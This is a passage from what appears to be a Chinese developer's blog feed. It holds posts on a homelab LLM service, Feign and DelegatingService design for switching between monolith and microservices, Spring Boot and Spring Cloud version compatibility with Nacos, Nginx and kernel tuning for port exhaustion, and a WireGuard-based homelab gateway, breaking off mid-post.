如果你要跑批量任务（比如一键给整个项目生成 Javadoc），建议切到自备 Key 或本地模型，别把免费额度吃满

离线 / 断网怎么办？

直接在插件里切到 Local Ollama 就行。IntelliAI Engine 的 Provider 是热切换的，切完立即生效，不用重启 IDE。

Mac Studio 顶得住多少并发？

按目前 GLM-4.7 量化版的配置：

单轮对话延迟大致在 200ms–1.5s 之间（首 token）
并发 10 左右还能正常跑
超过之后 AI Proxy 会把多余请求分发到 M4 Pro 作为 fallback

所以你会看到监控大屏上几台机器的流量随时间波动，那就是在做跨机器负载均衡。

未来规划

这套 Homelab 服务现在已经稳定跑起来了，但能做的还有不少：

扩机型：考虑把早期的 M1 Air 和一台闲置 NAS 塞进来做冷备
更多模型：后续会把 Qwen 2.5、DeepSeek-V3、更大参数的 GLM 加进来，每次变动会在 #/plugins/engine 页公示
精细限流：给不同用户等级提供不同配额，赞助过的用户可以有更高优先级
可观测面板：把更多实时指标（QPS、p99、错误率）摆到监控大屏上
社区反馈：插件内的反馈入口欢迎各位提 Bug 和需求

结语

从被内存条涨价逼着卖服务器，到拆机挣出一台 Mac Studio，再到把闲置算力拼成 IntelliAI Engine 背后的免费大模型服务，整件事推导起来还挺奇妙的。

一台机器会闲，两台机器会闲，三台机器它就得干活。于是这堆 Mac 现在 24 小时都在为一个说不清具体是谁的开发者生成 Javadoc、分析调用链、修 Checkstyle。

如果你也是 IntelliAI 插件的用户，按上面 4 步走一遍就能白嫖这套服务。用得顺手的话来 GitHub 点个 star，踩到 Bug 的话来 issue 区骂我。

官网 / 登录入口：https://zekastack.dong4j.site
IntelliAI Engine 插件主页：https://zekastack.dong4j.site/#/plugins/engine
实时监控：https://zekastack.dong4j.site/#/plugins/engine/monitor
GitHub：https://github.com/dong4j

dong4j，写于 Mac Studio M2 Ultra 旁边，风扇几乎听不到。

Feign 接口治理与 DelegatingService 模式

Thu, 16 Apr 2026 00:00:00 GMT

一个奇怪的现象

上一篇讲到版本兼容性验证。等我把 Spring Boot 3.4.7 和 Spring Cloud 的版本问题解决之后，开始仔细看原来 2.1.0 微服务架构中的 Feign 接口关系，发现了一个让我困惑的现象。

同一套架构里，Feign 接口有两种完全不同的实现方式。一部分 Feign 接口由服务提供方维护，通过独立 jar 包对外发布——比如 sctelcp-user-api-starter，里面封装了 UserApiService 这个 Feign 接口以及相关的 DTO、枚举、常量。业务方引入这个依赖就能直接注入使用。这是第一种方式，很标准的”契约优先”做法。

另一部分 Feign 接口由业务方自己写——比如 sctelcp-infrastructure-service 自己维护了一个 UserApiService，用于调用用户服务的接口。同一个 UserApiService，在不同的服务里有不同的实现，甚至类名都一样。

于是我问了自己一个问题：为什么不全部用第一种方式？

答案是”以前出现过业务方乱调用 Feign 接口的情况，出了问题第一时间找架构组，所以就同时用两种方式——服务提供方只暴露必要的接口，其他接口业务方自己写，调坏了是自己的事。”

这个解释我当时就觉得站不住脚。如果真的是要防止业务方乱调用，那 sctelcp-user-api-starter 这个模块就不应该存在——因为它一旦被引入，就等于把所有封装的 Feign 接口和 DTO 都暴露给了业务方。事实是这个模块存在了，而且被十几个组件依赖。所以”防乱调用”这个理由在逻辑上是矛盾的。

但这不是我要讨论的重点。真正有意思的问题是：当你需要让一套代码同时支持单体架构和微服务架构时，这两种 Feign 接口的风格会对你的迁移路径产生什么影响？

从微服务到单体：DelegatingService 的诞生

先看历史。在第一次改造中（微服务 2.1.0 → 单体 cirrus-1.0.0），核心任务是把 Feign 远程调用改成 JVM 内部调用。怎么做的？

当时设计了一个聚合组件 sctelcp-infrastructure-service-starter。这个组件的作用是：

聚合单体架构所需的全部 starter（auth、user、gateway 等）
将原微服务中的 Feign 调用改为内部 Service 调用

第二个作用的实现方式就是 DelegatingXxxService。拿 DelegatingMessageUserApiService 举例：

public class DelegatingMessageUserApiService implements MessageUserApiService {
    @Resource
    private WechatUserService wechatUserService;

    @Override
    public Response<?> bindPublic(String openid, String unionid) {
        return wechatUserService.bindPublic(openid, unionid);
    }

    @Override
    public Response<?> unBindPublic(String openid) {
        return wechatUserService.unBindPublic(openid);
    }
}

然后在装配类中注入：

@Bean
@ConditionalOnMissingBean
public MessageUserApiService messageUserApiService() {
    return new DelegatingMessageUserApiService();
}

逻辑很简单：实现同一个接口，以前走 Feign 远程调用，现在直接注入本地 Service 调用。对于接口的调用方来说，注入的还是那个 MessageUserApiService，完全没有感知到后面的调用方式变了。

这个模式在当时干净利落地解决了从微服务到单体的改造问题。但它也为下一次改造埋下了一个雷——当你需要从单体再回到微服务时，DelegatingXxxService 怎么办？

从单体回到微服务：两种架构方案

单体架构中，sctelcp-infrastructure-service-starter 承担了三个职责：

聚合 auth、user、gateway 三个 starter 作为顶层依赖
通过 DelegatingXxxService 实现 Feign → JVM 内部调用
动态添加接口前缀（context-path），保证前端路径不感知架构变化

从单体切回微服务时，这三个职责都需要解绑：

聚合依赖要拆开——微服务架构中，sctelcp-infrastructure-service 不应该引入 user-api-service-starter、auth-service-starter 等重量级依赖，因为用户和认证是独立服务，应该通过远程调用访问
DelegatingService 不能留——微服务中不存在本地 Service 可调，必须改回 Feign 远程调用
动态前缀要去掉——微服务有网关做路由，不需要在代码层加前缀

核心矛盾是：sctelcp-infrastructure-service-starter 怎么改才能被单体架构和微服务架构同时使用？

我们想了两种方案。

方案一：抽离 Delegating 模块，新增 Feign 模块

思路很清晰：

把 DelegatingXxxService 从 infrastructure-service-starter 中抽出去，单独成立一个 sctelcp-delegating-api-starter
infrastructure-service-starter 删掉 auth、user、gateway 的依赖，回归纯基础设施
为微服务新增 feign-starter 组件（比如 sctelcp-user-api-feign-starter、sctelcp-common-security-feign-starter），专门提供 Feign 接口
feign-starter 依赖对应的 xxx-starter，复用 DTO 和接口定义

这样，单体架构引用 delegating-api-starter（内部调用），微服务引用 feign-starter（远程调用），两者共用 xxx-starter（接口定义 + DTO）。

方案二：在原有组件中同时实现 Delegating 和 Feign

思路更直接：

不新增 delegating-api-starter
不新增 feign-starter
DelegatingXxxService 放回对应组件内部（比如 DelegatingMessageUserApiService 放在 sctelcp-message-api-starter 中，通过 optional=true 引入 sctelcp-user-api-service-starter）
Feign 接口也放在对应组件内部
通过 @Conditional 注解在运行时判断——单体架构注入 Delegating 实现，微服务注入 Feign 实现

两种方案各有利弊。

方案一对单体架构友好——单体只需要多引一个 delegating-api-starter，依赖结构清晰，不会出现单体引入了微服务依赖的情况。缺点是新增了多个 feign-starter 模块，项目结构会膨胀。

方案二对微服务友好——不需要新增任何模块，改动量小。缺点是依赖关系混乱——为了实现 JVM 内部调用，你不得不用 optional=true 引入重量级的 service 依赖，这些依赖在微服务架构中是多余的，但它们以 optional 的形式存在着，随时间推移一定会出问题。

为什么选了方案一

最后拍板选了方案一。理由不是”哪个更优雅”，而是一个很现实的考虑。

方案二的 @Conditional 判断在跨版本维护时会变成一个巨大的认知负担。 想象一下，一个新加入的同事打开 sctelcp-message-api-starter，看到某个类里面有两个实现——一个用 Delegating 前缀，一个用 Remote 前缀，然后跑到装配类里看到一堆 @ConditionalOnProperty。他要明白为什么这个类有两种实现，就要理解”我们支持了单体架构和微服务架构两种部署模式”。而这件事对于一个只负责写业务接口的开发者来说，是他不应该被暴露到的复杂度。

方案一虽然新增了模块，但意图非常清晰。你打开 sctelcp-user-api-feign-starter，你就知道这里是 Feign 实现，用于微服务。你打开 sctelcp-delegating-api-starter，你就知道这里是为单体架构做的内部调用。模块名即文档。

这也是我在前面几篇文章里反复提到的一个原则：框架的复杂度不能转嫁给使用者。 如果为了少写几个模块而把复杂度藏在一堆条件装配里，那省下的只是框架开发者的时间，付出的却是每一个使用者的认知成本。

具体的实施

方案一确定后，需要做的事大致如下。

第一步：实现 delegating-api-starter

从 infrastructure-service-starter 中迁移出几个东西：

DelegatingXxxService 5 个接口实现
自动装配类
动态添加接口前缀的逻辑

动态前缀的逻辑是这样的：

@AutoConfiguration
public class DelegatingInterfaceMappingConfig implements WebMvcConfigurer {
    @Override
    public void configurePathMatch(PathMatchConfigurer configurer) {
        configurer.addPathPrefix("/user/api",
            c -> c.getPackageName().startsWith("com.xxx.user.api.controller"));
        configurer.addPathPrefix("/infrastructure/api",
            c -> c.getPackageName().startsWith("com.xxx.infrastructure.controller"));
        configurer.addPathPrefix("/user/auth",
            c -> c.getPackageName().startsWith("com.xxx.user.auth.controller"));
        configurer.addPathPrefix("/user/auth",
            c -> c.getPackageName().startsWith("com.xxx.user.auth.endpoint"));
        configurer.addPathPrefix("/gateway/api",
            c -> c.getPackageName().startsWith("com.xxx.gateway"));
    }
}

为什么要有这个逻辑？因为微服务里每个服务都配了 context-path，网关据此做路由。单体架构里没有网关，但前端请求路径不能变，所以只能在代码层通过包名匹配来添加路径前缀——你说这是个 hack，我也不否认。但它确实做到了”前端零改动”。

第二步：实现 feign-starter 组件

一共新增了 4 个 feign-starter：user-api、common-security、message-api、server-plugins。

以 sctelcp-user-api-feign-starter 为例，它包含：

public class RemoteUserApiService implements UserApiService {
    @Resource
    private UserApiFeignService userApiFeignService;

    @Override
    public Response<Application> getClientDetailsByClientId(String clientId) {
        return userApiFeignService.getClientDetailsByClientId(clientId);
    }
    // ... 其他实现
}

自动装配：

@AutoConfiguration
@EnableFeignClients(basePackages = "com.xxx.user.api")
@ComponentScan(basePackages = {"com.xxx.user.api"})
public class UserApiFeignAutoConfiguration {

    @Bean
    @Primary
    public UserApiService userApiService() {
        return new RemoteUserApiService();
    }
}

这里有一个命名约定的变化值得说一下。在 2.1.0 版本中，同一个 UserApiService 在不同的服务里重名了好几次——Gateway 里有，Infrastructure 里有，甚至还有两个一模一样的 Feign 声明。单体化改造的时候做过一次重命名，这次微服务化又做了一次规范化：

本地调用实现：Delegating + 接口名（如 DelegatingUserApiService）
远程调用实现：Remote + 接口名（如 RemoteUserApiService）
Feign 接口声明：接口名 + FeignService（如 UserApiFeignService）

这个命名约定很简单，但它的作用不小——你不用看代码实现，只看类名就知道它是干什么的。

第三步：调整依赖关系

改完之后，依赖关系变成这样：

单体架构：
  xxx-manage-cirrus-service
    → sctelcp-delegating-api-starter (JVM 内部调用)
    → sctelcp-infrastructure-service-starter (公共能力)

微服务架构：
  xxx-manage-service
    → sctelcp-user-api-feign-starter (远程调用)
    → sctelcp-infrastructure-service-starter (公共能力)

两个架构都依赖 sctelcp-infrastructure-service-starter，复用了底层能力。单体用 Delegating 做本地调用，微服务用 Feign 做远程调用。各自的装配由各自的 starter 处理，互不干扰。

一个未解决的疑问

写到这你可能会问：单体架构引入的 delegating-api-starter 依赖了 auth、user、gateway 等四个 service 级别的 starter，这不是会把整个服务都引入到单体里吗？

这确实是一个问题。delegating-api-starter 本质上是一个单体架构专用的聚合组件，它的存在就是为了在单体架构中把原本应该远程调用的接口变成本地调用。所以它引入这些 service 依赖是合理的——单体架构本来就需要这些 service。

但反过来说，如果一个团队确定只用微服务架构、永远不会用单体架构，那 delegating-api-starter 就是一个多余的模块。这也是为什么我们在项目分支中把它标记为”单体架构专用”——它不是微服务架构的依赖，微服务项目不需要它。

架构设计的完美状态是”每个模块只有一个清晰的职责”。但现实中的架构设计往往是”在给定的约束下找到局部最优解”。delegating-api-starter 就是为了解决”一套代码同时支持两种部署模式”这个约束而引入的中间层——它是手段，不是目的。

下一篇写什么

DelegatingService 讲完了。但还有一个东西在前面反复出现却一直没有展开——context-path。微服务为什么每个都要配 context-path？网关路由和它怎么配合？当 Spring Boot 3.x 废弃了 bootstrap.yml，配置文件应该怎么组织？spring.config.import 和 Nacos 共享配置怎么搭？

下一篇，把这些配置管理在迁移过程中的实际问题全部讲清楚。

当 Spring Boot 3.4.7 撞上 Spring Cloud

Sun, 05 Apr 2026 00:00:00 GMT

关掉检查就行了吗

前八篇文章写了研发底座的架构全景、工程规范、Response 设计、缓存重构、配置管理、代码质量、MyBatis 组件化、网关性能调优。这些内容基本上是在同一个架构底座上逐步优化出来的。但现在我们要聊一个更底层的变动——从单体架构再切回微服务架构。

先交代一下背景。这不是一个从零开始的设计。研发底座最早是微服务架构（v2.1.0），后来因为某些项目场景需要，把它改造成了一个单体架构（代号 cirrus-1.0.0）——主要就是把原来的 Feign 远程调用改成了 JVM 内部调用，用一个聚合组件收敛依赖。然后到了 9 月，业务上又有微服务的需求了，于是我们从单体架构出发，再做一次微服务化改造，版本定为 v3.1.0。

问题是，这中间的 Spring Boot 版本变了。

单体架构改造时，根据业务方需求选择了 Spring Boot 3.4.7。这个版本号本身没问题——它是当时可用的最新稳定版。但当我们想在这个版本上加入 Spring Cloud 依赖时，启动直接炸了：

***************************
APPLICATION FAILED TO START
***************************

Description:

Your project setup is incompatible with our requirements due to following reasons:

- Spring Boot [3.4.7] is not compatible with this Spring Cloud release train

Action:

Consider applying the following actions:

- Change Spring Boot version to one of the following versions [3.2.x, 3.3.x] .

意思很直白：Spring Boot 3.4.7 不在 Spring Cloud 官方支持的版本列表中。

为什么会这样？Spring Cloud 的发布节奏和 Spring Boot 并不完全同步。Spring Cloud 2024.0.2（代号 Moorgate）支持的 Spring Boot 版本是 3.2.x 和 3.3.x。而 3.4.7 已经超出了这个范围——对于 Spring Cloud 来说，它不认识这个版本，所以启动时内置的兼容性校验器直接拒绝启动。

解决方案就一行配置：

spring:
  cloud:
    compatibility-verifier:
      enabled: false

关了，确实能启动了。但”能启动”和”没问题”是两回事。

版本差异到底差在哪

Spring Boot 3.2.x 到 3.4.7，跨了两个小版本。按 Semantic Versioning 的约定，小版本之间应该只有功能增强和 bug 修复，不会有 breaking changes。但这是 Spring 的版本体系，不是纯 SemVer——Spring 的小版本里偶尔会有行为变更。

我们面对的风险分两类。

第一类，Spring Boot 自身的变更。3.3 到 3.4 之间有一些”优化”可能影响既有代码。比如，Spring Boot 3.3 之后，@Configuration 和 @AutoConfiguration 的界限被进一步收紧了。原来你可以用 @Configuration 写自动装配类，然后在 spring.factories 里声明——3.3 之后这不再是合法用法，Spring Boot 会在启动时报错：

java.lang.IllegalStateException: The following classes could not be excluded 
because they are not auto-configuration classes:
    - com.xxx.AjCaptchaAutoConfiguration

因为 AjCaptchaAutoConfiguration 用的是 @Configuration 而不是 @AutoConfiguration。新版本里，只有标注了 @AutoConfiguration 的类才被视为自动装配类。这是有道理的——@Configuration 是全功能的配置类，@AutoConfiguration 是专门用于自动装配的轻量版，两者职责不同。但对于一个跨了版本的迁移项目，这种”收紧”就意味着你需要检查每一个自动装配类。

第二类，Spring Cloud 的变更。Spring Cloud 2024.0.2 相对上一个版本更新了哪些东西，我们也不完全清楚。特别是网关——原 gateway-service 是基于旧版本 Spring Cloud Gateway 写的，升级后路由配置、过滤器链、websocket 支持这些都可能受影响。

所以我当时做了个判断：先不着急写代码，而是做一个最小可启动的验证——引入 Spring Cloud 依赖，关掉兼容性检查，看能不能正常启动、正常注册到 Nacos、正常做服务发现。这就是下一节的内容。

Nacos 兼容性：服务端 2.4.3 vs 客户端 2.4.2

版本兼容性检查过了之后，接下来要验证的是 Nacos。

当时的情况是这样的：

Nacos 服务端 sctel-postgre-nacos 使用的是 Nacos Server 2.4.3
Spring Cloud Alibaba 2023.0.3.3 内置的 Nacos Client 是 2.4.2

差了一个 bug 修复版本。理论上服务端向下兼容低版本客户端，但这个”理论”在真实跑起来之前都只是理论。

本地验证的环境很简单：先用 Docker 起一个 PostgreSQL：

services:
  postgres:
    image: postgres:16
    container_name: postgres
    restart: unless-stopped
    environment:
      POSTGRES_USER: root
      POSTGRES_PASSWORD: rootpassword
      POSTGRES_DB: sctel_nacos
    ports:
      - "5432:5432"
    volumes:
      - ./docker-data:/var/lib/postgresql/data

然后启动 Nacos。启动时要注意一件事：本地测试用单机模式就够了，不用配集群。Nacos 默认是集群模式，如果只启动一个节点，它会因为找不到其他集群节点而报错。所以本地要设置：

private static boolean initEnv() {
    // 本地单机模式
    System.setProperty(ConfigConstants.STANDALONE_MODE, "true");
    System.setProperty(ConfigConstants.AUTH_ENABLED, "true");
    System.setProperty(ConfigConstants.LOG_BASEDIR, "logs");
    System.setProperty(ConfigConstants.LOG_ENABLED, "true");
    return true;
}

Nacos 启起来之后，验证三件事：

第一件，配置订阅与刷新。 在 Nacos 后台创建一个配置 test-config.yaml，内容随便写。然后本地应用通过 spring.config.import 引入这个配置，启动后确认能读到。再在 Nacos 后台修改配置内容，确认本地能实时刷新。这一步验证的是配置中心的基本能力。

第二件，服务注册。 启动一个本地微服务，配置好 spring.cloud.nacos.discovery.*，然后去 Nacos 服务列表页面确认这个服务出现了。这一步验证的是服务发现的注册功能。

第三件，服务发现。 启动两个服务 A 和 B，A 通过服务名调用 B 的接口（用 lb://service-name），确认能正常路由。这一步验证的是服务发现的调用链路。

三项都通过，版本兼容性才算基本确认。

实际测试结果是：三项全部正常。配置中心、注册中心、服务发现都工作正常。所以基于 Spring Boot 3.4.7 + Spring Cloud 2024.0.2 + Spring Cloud Alibaba 2023.0.3.3 的技术栈组合，虽然不在官方兼容列表中，但功能上可行。

但这不意味着万事大吉。我更愿意把这个验证结果理解为”最小可行性验证通过”——后面的具体组件兼容性问题，只能在遇到的时候逐个击破。

其实回头看，Spring Boot 的版本选择在技术决策里是有责任的。如果当时选型的时候用的是 3.2.x 或者等到 Spring Cloud Alibaba 2025.x 正式版发布后再动手，就不会有这个兼容性隐患。但现实就是这样——版本是业务方定的，框架组只能在这个既定事实上做改造。这也是为什么我在第一篇里提到”研发底座要有分层优化策略”——有些决策一旦做了，后面的技术债就得你自己消化。

关掉检查的真实代价

回到开头那行配置：

spring:
  cloud:
    compatibility-verifier:
      enabled: false

关了之后，Spring Cloud 就不再检查 Spring Boot 版本了。你得自己承担所有兼容性风险。

具体来说，需要在后续开发中注意：

每次升级 Spring Boot 的小版本时，重新做一次完整的兼容性测试。 3.4.7 到 3.4.8，Spring 可能修了一个 bug，但这个修复可能恰好影响了 Spring Cloud 的某个模块。
不要在同一个项目里混用不同的大版本。 父 POM 里统一管理 spring-boot-dependencies 和 spring-cloud-dependencies 的版本号，子模块只通过 dependencyManagement 继承，不要自己写版本号。
遇到离奇的启动报错时，第一个怀疑的应该是版本兼容性。 不要一头扎进具体的错误信息里——那种”看起来一切配置都是对的但就是不行”的问题，十有八九是版本不对。
建议的最终状态是升级到 Spring Boot 3.5.x + Spring Cloud Alibaba 2025.x。 等 Spring Cloud Alibaba 的正式版出来，版本对齐了，这行 compatibility-verifier.enabled=false 就可以删掉了。

这跟第八篇里网关性能调优的教训是一样的——在出问题之前没人会关注 TIME_WAIT 的数量，就像在启动报错之前没人会关注 Spring Boot 和 Spring Cloud 的版本兼容表。

下一篇写什么

版本兼容性验证只是第一步。确认了技术可行性之后，真正的挑战才开始——你怎么让一套代码同时支持单体架构和微服务架构？Feign 接口到底该由服务提供方维护还是消费方自己写？为什么一个叫 DelegatingService 的东西成了整个迁移方案的核心？

下一篇就写这个：Feign 接口治理和 DelegatingService 模式的设计与抉择。这是一次真正需要从架构师角度做权衡的决策——两种方案，两种价值观，没有对错，只有适不适合。

网关性能调优，从 Nginx 到内核参数

Tue, 24 Mar 2026 00:00:00 GMT

从一个错误日志说起

某天下午，前端同事反馈”页面加载很慢，偶尔直接白屏”。切到服务器上看 Nginx 日志，刷屏的是：

2025/09/15 17:57:48 [crit] 24950#24950: *4354733 connect() to 127.0.0.1:9090 failed 
(99: Cannot assign requested address) while connecting to upstream, 
client: 192.168.0.184, server: _, 
request: "GET /api/user/api/resource/list/tree HTTP/1.1", 
upstream: "http://127.0.0.1:9090/user/api/resource/list/tree", host: "192.168.0.10:3000"

Cannot assign requested address。这个错误的意思是——没有可用的本地端口了。

当时的 Nginx 配置是这样的：

server {
    listen 3000;
    server_name _;

    location /xxx-manage-ui/ {
        root /usr/share/nginx/html;
        index index.html;
        try_files $uri $uri/ /xxx-manage-ui/index.html;
    }

    location /api/ {
        proxy_pass http://127.0.0.1:9090/;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

看不出来问题对吧？我一开始也没看出来。这个配置按理说应该工作得好好的——前段请求 /api/xxx，Nginx 代理到 127.0.0.1:9090。简单直白。

但问题出在一个你没配置的东西上——默认的连接行为。

短连接的代价

Nginx 默认使用 HTTP/1.0 协议和 upstream 通信，每次请求都是一个全新的 TCP 连接。建立连接 → 发送请求 → 收到响应 → 断开连接。三次握手，四次挥手，一个都不能少。

在正常流量下这完全不是问题。但压测场景或者高峰时段，每秒几百个请求，每个请求都走一遍完整的 TCP 生命周期。一个 TCP 连接断开后，端口进入 TIME_WAIT 状态，默认要等 60 秒才能回收。

Linux 的本地端口范围默认是 32768 - 60999，大约 28000 个可用端口。如果每秒处理 500 个请求，每个连接在 TIME_WAIT 里待 60 秒，那稳态下你就会有 30000 个端口处于 TIME_WAIT。超过了可用范围——这就是 Cannot assign requested address 的原因。你根本没有足够的端口来创建新连接了。

修复的第一步，也是最关键的一步——启用 Nginx 与 upstream 之间的长连接：

upstream backend_api {
    server 127.0.0.1:9090;
    keepalive 200;                  # 长连接池大小
}

server {
    listen 3000;
    server_name _;

    location /api/ {
        proxy_http_version 1.1;     # 关键：升级到 HTTP/1.1
        proxy_set_header Connection "";  # 关键：清除 "close" 头，启用长连接
        proxy_pass http://backend_api;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

这三行的作用：

proxy_http_version 1.1：告诉 Nginx 对 upstream 用 HTTP/1.1 协议。HTTP/1.1 默认支持连接复用，不像 1.0 那样每次请求发一个 Connection: close。

proxy_set_header Connection ""：清除客户端传过来的 Connection 头。如果不清除，客户端的 Connection: close 会被透传到 upstream，每个请求又变成了短连接。这个配置经常被漏掉，但没有它，前面两行等于没配。

keepalive 200：Nginx 和后端之间最多同时保持 200 个空闲的长连接。这个数字要大于高峰期每秒的请求数除以每个请求的处理时间——说人话，就是确保有空闲连接可用，不用临时建新连接。

改完这三行，应用到 Nginx，Cannot assign requested address 的错误从之前的每分钟几十条直接变成了零。

第二步：内核参数不够用

长连接修好后，高峰期打开页面偶尔还是卡。再看日志，没有 Cannot assign requested address 了，但多了 connection timed out。查了发现问题是本地端口范围还是不够大，只是没有之前那样立刻耗尽。

调内核参数：

sysctl -w net.ipv4.ip_local_port_range="1024 65535"
sysctl -w net.ipv4.tcp_tw_reuse=1
sysctl -w net.ipv4.tcp_fin_timeout=10

这三行做的事情：

ip_local_port_range = 1024 65535：把可用端口从 28000 个扩到 64000 个。注意 1024 以下被系统保留，所以不要设成 0。

tcp_tw_reuse = 1：允许 TIME_WAIT 状态的端口被复用。不是删除 TIME_WAIT，而是在某些条件下（比如 SYN 包带时间戳）允许重用。这个配置对客户端模式（Nginx 相对于后端服务就是客户端）有用。

tcp_fin_timeout = 10：把 TIME_WAIT 的持续时间从默认的 60 秒降到 10 秒。TIME_WAIT 的存在是为了保证对端确实收到了你的 FIN 确认包（防止延迟的 FIN 重传产生混乱）。在内网环境（低延迟、低丢包），10 秒足够了。

第三步：文件句柄也不够

上面改了之后，高峰期还是偶尔出问题。一个新错误出现了：Too many open files。

Linux 默认的 ulimit -n 是 1024。在高并发下，Nginx 需要维护的不仅是和后端的连接，还包括客户端的连接、日志文件、配置文件。1024 很容易不够。

ulimit -n 65535

持久化这个修改：

# /etc/security/limits.conf
nginx soft nofile 65535
nginx hard nofile 65535

改完之后重启 Nginx，Too many open files 没了。

四步调优后的完整配置

最终版本：

upstream backend_api {
    server 127.0.0.1:9090;
    keepalive 200;
}

server {
    listen 3000;
    server_name _;

    location /xxx-manage-ui/ {
        root /usr/share/nginx/html;
        index index.html;
        try_files $uri $uri/ /xxx-manage-ui/index.html;
    }

    location /api/ {
        proxy_http_version 1.1;
        proxy_set_header Connection "";
        proxy_pass http://backend_api;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        # 超时配置
        proxy_connect_timeout 30s;
        proxy_send_timeout 60s;
        proxy_read_timeout 60s;

        # 缓冲配置
        proxy_buffering on;
        proxy_buffer_size 4k;
        proxy_buffers 8 4k;
    }
}

内核参数（持久化到 /etc/sysctl.conf）：

net.ipv4.ip_local_port_range = 1024 65535
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_fin_timeout = 10

文件句柄（持久化到 /etc/security/limits.conf）：

nginx soft nofile 65535
nginx hard nofile 65535

总结这个排查链条

graph TD
    A["页面白屏 / 加载慢"] --> B{"Nginx 错误日志"}
    B -->|"Cannot assign requested address"| C["端口耗尽"]
    B -->|"connection timed out"| D["连接超时"]
    B -->|"Too many open files"| E["文件句柄耗尽"]

    C --> C1["原因: 短连接导致大量 TIME_WAIT"]
    C1 --> C2["修复: upstream keepalive + HTTP/1.1"]

    D --> D1["原因: 端口范围太小 / TIME_WAIT 回收太慢"]
    D1 --> D2["修复: ip_local_port_range + tcp_fin_timeout"]

    E --> E1["原因: ulimit 默认值太低"]
    E1 --> E2["修复: 调整 limits.conf 中的 nofile"]

其实这四步的流程让我想起一个更通用的问题。为什么这些问题在上线之前没发现？

答案是：我们没有做压测。或者说，做了压测但只验证了功能，没有压到真实的高并发场景。ab -n 1000 -c 10 这种轻量级测试根本暴露不了端口耗尽的问题。真正的压测应该模拟高峰流量，持续足够长的时间——让 TIME_WAIT 积累到稳态——才能看到这些底层资源的瓶颈。

这也是我在第一篇中就提到的”可观测性缺失”的一个侧面。如果当时有 Grafana 面板展示 TIME_WAIT 连接数、端口使用率、文件句柄使用率，这些问题在压测阶段就能被发现——甚至在正式上线前就能被预判出来。但当时我们什么都没有，全靠用户反馈。

系列终章：回头看

这篇文章是这个系列的最后一篇。八篇文章，从架构全景写到工程规范，从 Response 设计写到缓存重构，从配置管理写到代码质量，从 MyBatis 组件化写到网关性能调优。它们之间的关系不是线性的，而是网状交织的——配置管理的优化会影响到缓存组件的设计（ConfigurationProperties），工程规范的约束会影响到 MyBatis 组件的体验（自动配置），代码质量的推行会影响到所有模块。

但如果你只有时间读两篇，我建议读第一篇和这一篇。第一篇告诉你”为什么要想这些事”，这一篇告诉你”线上出事的时候怎么排查”。前者是方向，后者是生存。

如果这个系列对你有一点帮助，或者你有不同意见——比如你觉得某个方案不适用于你所在的项目——欢迎留言讨论。架构设计没有标准答案，只有适合和不适合。

用一台 Mac mini M2 当博客网关：WireGuard 把分散的服务收编回家

Thu, 19 Mar 2026 00:00:00 GMT

背景：运维账到了该清的时候

这个博客我折腾着折腾着，已经变成一个”小站点、大后台”的状态了。

主站是 Hexo 静态页面，听上去很轻，但后面挂了一堆支撑服务：评论、搜索、统计、访问计数、AI 摘要、TTS、GitHub 贡献热力图、朋友圈聚合、短链、API 聚合……一数吓一跳，加起来有三四十个大大小小的进程。

这些服务过去分散在 好几台 PVE 节点上跑，分工大概是这样：

A 节点跑数据库一类的基础设施
B 节点跑博客主系统和反向代理
C 节点跑一些 Node.js 的小微服务
D 节点跑监控、AI 平台之类的东西

听起来挺合理——按职责拆机器。但实际用下来，运维账越算越难看：

一次例行升级要 SSH 四五台机器，每台的 Docker Compose 文件风格都不一样
备份脚本有四五套，谁新增了服务我都得同步去改
服务之间的依赖关系横跨节点，数据库在 A，应用在 B，出问题排查要跨机器看日志
任何一台 PVE 节点挂了，我都得跑去柜子前面插显示器排障
功耗也不低，四台机器常年 7×24 开着，电费肉眼可见

同期我新上了一台 Mac Studio M2 Ultra 给 AI 推理用（另一篇文章里聊过），结果家里那台 Mac mini M2 反而落得很闲。我盯着它看了两天，越看越觉得：“这不就是天生的博客主机吗？”

于是有了这次架构升级。目标很朴素：

把博客相关的所有服务收到一台 Mac mini M2 上集中管理，公网入口仍然由云上 ECS 负责，中间用 WireGuard 打通。

这篇文章就把新架构的来龙去脉、服务清单和一些设计取舍写下来。

顺便聊聊”部署方式的演进”

这套架构其实是博客部署演进到第四代的产物。简单回顾一下：

第一代：GitHub Pages — 最早就是 hexo deploy 推到 gh-pages 分支，免费、够用，但国内访问时好时坏，图片加载慢得像 2010 年
第二代：Vercel — 用了一段时间，速度比 GP 好一些，但国内某些地区会间歇性解析异常，CI 每月免费额度也有限
第三代：阿里云 ECS 直部署 — 自己搭 Nginx，用 hexo-deployer-git 推到私仓，然后 ECS 上 git pull。稳定了，但后端服务还是散在各处
第四代（现在）：Rsync + 集中式 Homelab — 本地 hexo generate 产物直接 rsync 到 ECS /var/www/blog，同时把后端全部收回到 M2，用 WireGuard 打通

这四代的演进其实就是在不断回答同一个问题：**这个博客的哪一部分要放在云上，哪一部分放在家里？**到第四代才算回答清楚——静态产物放 ECS 离用户最近，动态后端放 M2 离数据最近，中间用隧道串起来。

旧架构的痛点

先把旧架构摆出来，方便后面做对比。

旧的做法是：云上 ECS 跑 Nginx 直接暴露公网，后端通过 frp/公网端口映射回家里 PVE 节点上的具体服务。几个比较硬的问题：

端口映射满天飞：每新增一个服务就要在路由器和 ECS 开洞，久了自己都记不清哪个端口通向哪里
公网暴露面广：不止一台机器出现在公网上，哪怕只是 frp 客户端侧，也多了一层攻击面
服务位置漂移：这台机器重启一下，那台机器升级一下，IP 或端口偶尔就变，ECS 上的反代配置要跟着改
缺少统一反代：每台节点都自己跑一套 Nginx/Caddy，证书、日志、WAF 规则各搞各的

这些问题单拎出来每个都不致命，但加起来就是一个”每次动都要想半天会不会炸”的状态。

新架构：一张图讲清楚

先上拓扑：

graph TD
    subgraph Public_Cloud [公网 - 云服务器]
        User((外部用户)) -->|HTTPS 80/443| ECS_Nginx[ECS Nginx 反向代理]
    end

    subgraph WG_Tunnel [WireGuard 隧道]
        ECS_WG[ECS WG Interface<br/>2.0.0.1] <--> M2_WG[M2 WG Interface<br/>2.0.0.5]
    end

